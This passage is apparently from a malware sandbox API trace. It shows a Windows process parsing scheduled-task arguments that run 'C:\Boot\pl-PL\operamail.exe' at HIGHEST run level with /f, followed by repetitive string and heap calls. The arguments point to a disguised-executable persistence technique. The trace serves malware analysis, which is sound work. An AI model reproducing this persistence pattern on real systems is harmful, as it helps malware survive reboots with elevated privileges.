(lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0136.655] SetLastError (dwErrCode=0x490) [0136.655] lstrlenW (lpString="showsid") returned 7 [0136.655] lstrlenW (lpString="showsid") returned 7 [0136.656] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.656] lstrlenW (lpString="tr") returned 2 [0136.656] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.656] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|showsid|") returned 9 [0136.656] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tr|") returned 4 [0136.656] lstrlenW (lpString="|showsid|") returned 9 [0136.656] lstrlenW (lpString="|tr|") returned 4 [0136.656] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0136.656] SetLastError (dwErrCode=0x490) [0136.656] SetLastError (dwErrCode=0x490) [0136.656] SetLastError (dwErrCode=0x0) [0136.656] lstrlenW (lpString="/tr") returned 3 [0136.656] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0136.656] SetLastError (dwErrCode=0x490) [0136.656] SetLastError (dwErrCode=0x0) [0136.656] lstrlenW (lpString="/tr") returned 3 [0136.656] GetProcessHeap () returned 0x440000 [0136.656] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45dcf0 [0136.656] GetProcessHeap () returned 0x440000 [0136.656] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45ccf0 [0136.656] SetLastError (dwErrCode=0x0) [0136.656] SetLastError (dwErrCode=0x0) [0136.656] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.656] lstrlenW (lpString="-/") returned 2 [0136.656] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0136.657] SetLastError (dwErrCode=0x490) [0136.657] SetLastError (dwErrCode=0x490) [0136.657] SetLastError (dwErrCode=0x0) [0136.657] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.657] StrChrIW (lpStart="'C:\\Boot\\pl-PL\\operamail.exe'", wMatch=0x3a) returned=":\\Boot\\pl-PL\\operamail.exe'" [0136.657] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.657] GetProcessHeap () returned 0x440000 [0136.657] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d500 [0136.657] _memicmp (_Buf1=0x45d500, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.657] GetProcessHeap () returned 0x440000 [0136.657] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xe) returned 0x45d520 [0136.657] GetProcessHeap () returned 0x440000 [0136.657] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45d540 [0136.657] _memicmp (_Buf1=0x45d540, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.657] GetProcessHeap () returned 0x440000 [0136.657] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x3e) returned 0x459310 [0136.657] SetLastError (dwErrCode=0x7a) [0136.657] SetLastError (dwErrCode=0x0) [0136.657] SetLastError (dwErrCode=0x0) [0136.657] lstrlenW (lpString="'C") returned 2 [0136.657] lstrlenW (lpString="-/") returned 2 [0136.657] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0136.657] SetLastError (dwErrCode=0x490) [0136.657] SetLastError (dwErrCode=0x490) [0136.657] SetLastError (dwErrCode=0x0) [0136.657] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0136.657] GetProcessHeap () returned 0x440000 [0136.657] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x3c) returned 0x459360 [0136.657] GetProcessHeap () returned 0x440000 [0136.658] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd20 [0136.658] SetLastError (dwErrCode=0x0) [0136.658] SetLastError (dwErrCode=0x0) [0136.658] lstrlenW (lpString="/rl") returned 3 [0136.658] lstrlenW (lpString="-/") returned 2 [0136.658] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.658] lstrlenW (lpString="?") returned 1 [0136.658] lstrlenW (lpString="?") returned 1 [0136.658] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.658] lstrlenW (lpString="rl") returned 2 [0136.658] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.658] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.658] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.658] lstrlenW (lpString="|?|") returned 3 [0136.658] lstrlenW (lpString="|rl|") returned 4 [0136.658] SetLastError (dwErrCode=0x490) [0136.658] lstrlenW (lpString="create") returned 6 [0136.658] lstrlenW (lpString="create") returned 6 [0136.658] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.658] lstrlenW (lpString="rl") returned 2 [0136.658] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.658] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.658] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.658] lstrlenW (lpString="|create|") returned 8 [0136.658] lstrlenW (lpString="|rl|") returned 4 [0136.658] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0136.658] SetLastError (dwErrCode=0x490) [0136.659] lstrlenW (lpString="delete") returned 6 [0136.659] lstrlenW (lpString="delete") returned 6 [0136.659] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.659] lstrlenW (lpString="rl") returned 2 [0136.659] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.659] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|delete|") returned 8 [0136.659] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.659] lstrlenW (lpString="|delete|") returned 8 [0136.659] lstrlenW (lpString="|rl|") returned 4 [0136.659] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0136.659] SetLastError (dwErrCode=0x490) [0136.659] lstrlenW (lpString="query") returned 5 [0136.659] lstrlenW (lpString="query") returned 5 [0136.659] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.659] lstrlenW (lpString="rl") returned 2 [0136.659] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.659] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|query|") returned 7 [0136.659] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.659] lstrlenW (lpString="|query|") returned 7 [0136.659] lstrlenW (lpString="|rl|") returned 4 [0136.659] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0136.659] SetLastError (dwErrCode=0x490) [0136.659] lstrlenW (lpString="change") returned 6 [0136.659] lstrlenW (lpString="change") returned 6 [0136.659] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.659] lstrlenW (lpString="rl") returned 2 [0136.660] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.660] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|change|") returned 8 [0136.660] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.660] lstrlenW (lpString="|change|") returned 8 [0136.660] lstrlenW (lpString="|rl|") returned 4 [0136.660] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0136.660] SetLastError (dwErrCode=0x490) [0136.660] lstrlenW (lpString="run") returned 3 [0136.660] lstrlenW (lpString="run") returned 3 [0136.660] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.660] lstrlenW (lpString="rl") returned 2 [0136.660] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.660] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|run|") returned 5 [0136.660] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.660] lstrlenW (lpString="|run|") returned 5 [0136.660] lstrlenW (lpString="|rl|") returned 4 [0136.660] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0136.660] SetLastError (dwErrCode=0x490) [0136.660] lstrlenW (lpString="end") returned 3 [0136.660] lstrlenW (lpString="end") returned 3 [0136.660] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.660] lstrlenW (lpString="rl") returned 2 [0136.660] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.660] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|end|") returned 5 [0136.660] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.661] lstrlenW (lpString="|end|") returned 5 [0136.661] lstrlenW (lpString="|rl|") returned 4 [0136.661] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0136.661] SetLastError (dwErrCode=0x490) [0136.661] lstrlenW (lpString="showsid") returned 7 [0136.661] lstrlenW (lpString="showsid") returned 7 [0136.661] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.661] lstrlenW (lpString="rl") returned 2 [0136.661] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.661] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|showsid|") returned 9 [0136.661] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|rl|") returned 4 [0136.661] lstrlenW (lpString="|showsid|") returned 9 [0136.661] lstrlenW (lpString="|rl|") returned 4 [0136.661] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0136.661] SetLastError (dwErrCode=0x490) [0136.661] SetLastError (dwErrCode=0x490) [0136.661] SetLastError (dwErrCode=0x0) [0136.661] lstrlenW (lpString="/rl") returned 3 [0136.661] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0136.661] SetLastError (dwErrCode=0x490) [0136.661] SetLastError (dwErrCode=0x0) [0136.661] lstrlenW (lpString="/rl") returned 3 [0136.661] GetProcessHeap () returned 0x440000 [0136.661] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x8) returned 0x45dd10 [0136.661] GetProcessHeap () returned 0x440000 [0136.661] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd50 [0136.661] SetLastError (dwErrCode=0x0) [0136.661] SetLastError (dwErrCode=0x0) [0136.662] lstrlenW (lpString="HIGHEST") returned 7 [0136.662] lstrlenW (lpString="-/") returned 2 [0136.662] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0136.662] SetLastError (dwErrCode=0x490) [0136.662] SetLastError (dwErrCode=0x490) [0136.662] SetLastError (dwErrCode=0x0) [0136.662] lstrlenW (lpString="HIGHEST") returned 7 [0136.662] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0136.662] SetLastError (dwErrCode=0x490) [0136.662] SetLastError (dwErrCode=0x0) [0136.662] lstrlenW (lpString="HIGHEST") returned 7 [0136.662] GetProcessHeap () returned 0x440000 [0136.662] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x10) returned 0x45d560 [0136.662] GetProcessHeap () returned 0x440000 [0136.662] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cd80 [0136.662] SetLastError (dwErrCode=0x0) [0136.662] SetLastError (dwErrCode=0x0) [0136.662] lstrlenW (lpString="/f") returned 2 [0136.662] lstrlenW (lpString="-/") returned 2 [0136.662] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.662] lstrlenW (lpString="?") returned 1 [0136.662] lstrlenW (lpString="?") returned 1 [0136.662] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.662] lstrlenW (lpString="f") returned 1 [0136.662] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.662] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.662] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.662] lstrlenW (lpString="|?|") returned 3 [0136.662] lstrlenW (lpString="|f|") returned 3 [0136.663] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0136.663] SetLastError (dwErrCode=0x490) [0136.663] lstrlenW (lpString="create") returned 6 [0136.663] lstrlenW (lpString="create") returned 6 [0136.663] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.663] lstrlenW (lpString="f") returned 1 [0136.663] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.663] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.663] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.663] lstrlenW (lpString="|create|") returned 8 [0136.663] lstrlenW (lpString="|f|") returned 3 [0136.663] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0136.663] SetLastError (dwErrCode=0x490) [0136.663] lstrlenW (lpString="delete") returned 6 [0136.663] lstrlenW (lpString="delete") returned 6 [0136.663] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.663] lstrlenW (lpString="f") returned 1 [0136.663] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.663] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|delete|") returned 8 [0136.663] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.663] lstrlenW (lpString="|delete|") returned 8 [0136.663] lstrlenW (lpString="|f|") returned 3 [0136.663] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0136.663] SetLastError (dwErrCode=0x490) [0136.663] lstrlenW (lpString="query") returned 5 [0136.663] lstrlenW (lpString="query") returned 5 [0136.663] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.664] lstrlenW (lpString="f") returned 1 [0136.664] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.664] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|query|") returned 7 [0136.664] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.664] lstrlenW (lpString="|query|") returned 7 [0136.664] lstrlenW (lpString="|f|") returned 3 [0136.664] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0136.664] SetLastError (dwErrCode=0x490) [0136.664] lstrlenW (lpString="change") returned 6 [0136.664] lstrlenW (lpString="change") returned 6 [0136.664] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.664] lstrlenW (lpString="f") returned 1 [0136.664] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.664] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|change|") returned 8 [0136.664] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.664] lstrlenW (lpString="|change|") returned 8 [0136.664] lstrlenW (lpString="|f|") returned 3 [0136.664] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0136.664] SetLastError (dwErrCode=0x490) [0136.664] lstrlenW (lpString="run") returned 3 [0136.664] lstrlenW (lpString="run") returned 3 [0136.664] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.664] lstrlenW (lpString="f") returned 1 [0136.664] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.664] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|run|") returned 5 [0136.665] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.665] lstrlenW (lpString="|run|") returned 5 [0136.665] lstrlenW (lpString="|f|") returned 3 [0136.665] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0136.665] SetLastError (dwErrCode=0x490) [0136.665] lstrlenW (lpString="end") returned 3 [0136.665] lstrlenW (lpString="end") returned 3 [0136.665] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.665] lstrlenW (lpString="f") returned 1 [0136.665] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.665] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|end|") returned 5 [0136.665] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.665] lstrlenW (lpString="|end|") returned 5 [0136.665] lstrlenW (lpString="|f|") returned 3 [0136.665] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0136.665] SetLastError (dwErrCode=0x490) [0136.700] lstrlenW (lpString="showsid") returned 7 [0136.700] lstrlenW (lpString="showsid") returned 7 [0136.700] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.700] lstrlenW (lpString="f") returned 1 [0136.700] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.700] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|showsid|") returned 9 [0136.700] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|f|") returned 3 [0136.700] lstrlenW (lpString="|showsid|") returned 9 [0136.700] lstrlenW (lpString="|f|") returned 3 [0136.700] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0136.700] SetLastError (dwErrCode=0x490) [0136.700] SetLastError (dwErrCode=0x490) [0136.700] SetLastError (dwErrCode=0x0) [0136.701] lstrlenW (lpString="/f") returned 2 [0136.701] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0136.701] SetLastError (dwErrCode=0x490) [0136.701] SetLastError (dwErrCode=0x0) [0136.701] lstrlenW (lpString="/f") returned 2 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x6) returned 0x45dd30 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cdb0 [0136.701] SetLastError (dwErrCode=0x0) [0136.701] GetProcessHeap () returned 0x440000 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1c0) returned 1 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c1c0) returned 0x8 [0136.701] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1c0 | out: hHeap=0x440000) returned 1 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cbd0) returned 1 [0136.701] GetProcessHeap () returned 0x440000 [0136.701] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cbd0) returned 0x20 [0136.702] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cbd0 | out: hHeap=0x440000) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4c0) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d4c0) returned 0x16 [0136.702] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4c0 | out: hHeap=0x440000) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc00) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc00) returned 0x20 [0136.702] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc00 | out: hHeap=0x440000) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dc90) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dc90) returned 0x8 [0136.702] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dc90 | out: hHeap=0x440000) returned 1 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] GetProcessHeap () returned 0x440000 [0136.702] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc30) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc30) returned 0x20 [0136.703] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc30 | out: hHeap=0x440000) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4e0) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d4e0) returned 0xe [0136.703] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d4e0 | out: hHeap=0x440000) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc60) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc60) returned 0x20 [0136.703] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc60 | out: hHeap=0x440000) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dcb0) returned 1 [0136.703] GetProcessHeap () returned 0x440000 [0136.703] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dcb0) returned 0x8 [0136.704] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dcb0 | out: hHeap=0x440000) returned 1 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc90) returned 1 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc90) returned 0x20 [0136.704] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc90 | out: hHeap=0x440000) returned 1 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dcd0) returned 1 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dcd0) returned 0x6 [0136.704] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dcd0 | out: hHeap=0x440000) returned 1 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccc0) returned 1 [0136.704] GetProcessHeap () returned 0x440000 [0136.704] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ccc0) returned 0x20 [0136.705] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccc0 | out: hHeap=0x440000) returned 1 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dcf0) returned 1 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dcf0) returned 0x8 [0136.705] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dcf0 | out: hHeap=0x440000) returned 1 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccf0) returned 1 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ccf0) returned 0x20 [0136.705] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccf0 | out: hHeap=0x440000) returned 1 [0136.705] GetProcessHeap () returned 0x440000 [0136.705] GetProcessHeap () returned 0x440000 [0136.706] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x459360) returned 1 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x459360) returned 0x3c [0136.706] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x459360 | out: hHeap=0x440000) returned 1 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd20) returned 1 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd20) returned 0x20 [0136.706] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd20 | out: hHeap=0x440000) returned 1 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dd10) returned 1 [0136.706] GetProcessHeap () returned 0x440000 [0136.706] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dd10) returned 0x8 [0136.706] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dd10 | out: 